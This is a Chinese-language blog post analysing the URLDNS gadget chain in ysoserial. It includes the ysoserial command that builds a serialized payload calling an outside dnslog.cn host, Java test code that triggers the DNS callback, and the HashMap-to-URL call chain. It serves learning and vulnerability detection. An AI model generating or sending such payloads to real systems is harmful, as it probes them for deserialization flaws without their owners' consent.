Yso中的URLDNS分析学习

 
作为 ysoserial 中最简单链,这里简单记录学习一下
 

首先使用ysoserial生成urldns的探测类型

 
首先先去 dnslog.cn 获取一个url
 

 
 

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pk3q64.dnslog.cn" > Test.txt
 
 
查看生成的文件
 

 

 
Java反序列化后的前几个字节就是 ac ed
 
这其实是一个序列化后的对象,这里我们将它反序列化看一下
 

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class DnsTest {
    public static void main(String[] args) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));

        Object test = ois.readObject();
        System.out.println(test);
    }
}

 
我们将这个反序列化了一下
 
随即我们就收到了DNS查询的记录
 

 
这是为什么呢
 
接下来分析一下
 

简单的观察一下ysoserial

 
我们刚才生成一个Payload使用的是类似于 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://pk3q64.dnslog.cn" > Test.txt 的命令
 
我们分析一下干了什么吧
 
首先下载 ysoserial 项目
 
https://github.com/frohoff/ysoserial
 
生成Payload的类在 GeneratePayload.java
 

 
首先检查我们传入的参数是否正确,然后将我们调用的payload放入 payloadType,参数放入 command 例如上文我们调用的是 URLDNS 参数是我们的url
 

 
之后将我们的payload传入 Utils.getPayloadClass 中,这个是作者自己实现的一个工具类,我们传入payload,根据反射获取到类的 Class ,然后判断是否为空
 
其中Payload都放在 payloads 文件夹下
 

 
我们这里面调用的就是 URLDNS
 

 
之后根据 Class 获取到类的实例,然后向 getObject 方法中传入我们的参数,将返回的对象序列化输出,我们后面用 > test.txt 就是把序列化的数据重定向到文件中
 
其中 getObject 的实现如下
 

 
这个就是 ysoserial 的简单工作原理,其他的也类似
 

分析

 
DNSURL 反序列化的链为

HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()

首先序列化点在 HashMap的 readObject 方法(因为实现了Serializable接口)
 

 
readObject 调用了 putVal方法,且参数里调用了 HashMap的hash方法
 

继续跟进
 
 

 
因为HashMap里面的 key 与 Value 是一个对应的关系,所以看看 ysoserial传入的 key 是什么吧

 
显然传入的 keyURL
 
因此是调用了 URL 中的 hashCode方法,跟进看一下
 

 
hashcode 的值为 -1 则调用 handler.hashcode 方法
 
其实这个值默认就是 -1
 

 
yso中也是用反射将其强制设置为 -1
 

 
调用的 hander.hashCode 其实也就是我们传入的 hander
 

 
URL 的构造方法中将其初始化为我们传入的
 

 
ysoserial 中的 SilentURLStreamHandler 其实就是 URLStreamHandler 的子类(为了程序的健壮性,后面有解释)
 
所以 handler.hashCode(this) 其实就是调用的 URLStreamHandler.hashCode(this),我们跟进一下
 

 
这里面将 u 传入 getHostAddress
 
跟进getHostAddress
 

 
其中将 u.getHost() 的结果放入 InetAddress.getByName 此函数将是根据主机名获取对应ip,相当于发出一次dnslog请求
 
我们查看一下 URL.getHost()
 

 
返回的是 host,而这个值已经在我们初始化 URL 的时候就被设置了(设置为我们一开始传入的url)
 
因此一套简单的流程就出来了
 

后续思考

 
我们查看一下HashMap的 put 方法看看
 

 
发现也调用了 hash方法

 
那这样我们利用 ysoserial 生成 POC的时候,也不是会有dns请求吗?
 

 
 
我们测试一下
 

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.net.URL;
import java.util.HashMap;

public class DnsTest {
    /*public static void main(String[] args) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
        Object test = ois.readObject();
        System.out.println(test);
    }*/
    public static void main(String[] args) throws Exception{
        HashMap test = new HashMap();
        URL url = new URL("http://s2i0ku.dnslog.cn");
        test.put(url,233);
    }
}

 

 
确实会产生很多请求
 

 
有个方法就是通过反射修改 hashCode的值(将URL的 hashCode修改为非 -1 就不会调用到了)
 

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class DnsTest {
    /*public static void main(String[] args) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("/Volumes/DATA/test/java/test.txt"));
        Object test = ois.readObject();
        System.out.println(test);
    }*/
    public static void main(String[] args) throws Exception{
        HashMap test = new HashMap();
        URL url = new URL("http://x5221n.dnslog.cn\n");
        Field justhash = Class.forName("java.net.URL").getDeclaredField("hashCode");
        justhash.setAccessible(true);
        justhash.set(url,123);
        test.put(url,233);
    }
}

 

 
那么 URLDNS 呢
 

 
也没有产生请求
 
原因在这个

 
这个 SilentURLStreamHandler 继承了 URLStreamHandler
 
重写了里面的 openConnectiongetHostAddress
 

 
因此在调用 put 方法的时候不会触发 dns 查询

那这样我们反序列化的时候不是也因为重写了方法而不能进行 dns 查询吗?
 

原因是因为 URL 里面的 handler 设置的是 transient
 

 
因为transient修饰符无法被序列化,所以虽然它最后是没执行dns请求,但是在反序列化的时候还是会执行dns请求!
 
简单测试一下
 
User.java
 

package YsoStudent;

import java.io.Serializable;

public class User implements Serializable {
    private  int age=13;
    private transient  String name;
    public int getAge{
        return age;
    }
    public String getName{
        return name;
    }
    public void setAge(int age)
    {
        this.age=age;
    }
    public void  setName(String name)
    {
        this.name=name;
    }
    @Override
    public String toString() {
        return "User{" +
                "age="+age+",name="+name+"}";
    }
}

 

package YsoStudent;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Test {
    public static void main(String[] args) throws Exception {
        SerializableUser();
        UnSerializableUser();
    }
    private  static  void SerializableUser() throws  Exception{
        User user = new User();
        user.setAge(16);
        user.setName("Mikasa");
        //        ObjectOutputStream obj=new ObjectOutputStream(new FileOutputStream("/Users/maniac/Desktop/java/unSerializableDemo/test1.ser"));
        ObjectOutputStream obj = new ObjectOutputStream(new FileOutputStream("/Users/mikasa/Desktop/tese.txt"));
        obj.writeObject(user);
        obj.close();
        System.out.println("原数据为"+user);
    }
    private  static  void UnSerializableUser()  throws  Exception{
        ObjectInputStream test = new ObjectInputStream(new FileInputStream("/Users/mikasa/Desktop/tese.txt"));
        User user = (User) test.readObject();
        System.out.println("反序列化结果是:"+user);
    }
}

 

 
可以看见 name 属性未被反序列化,还是原来的值(为赋值前 为 null)
 

总结

 
虽然 URLDNS 不能Getshell,但是可以帮助我们探测目标是否存在漏洞等,写POC或者扫描器的时候挺适用的
 

posted @ 2020-10-26 18:44  Zahad003  阅读(1191)  评论(0编辑  收藏  举报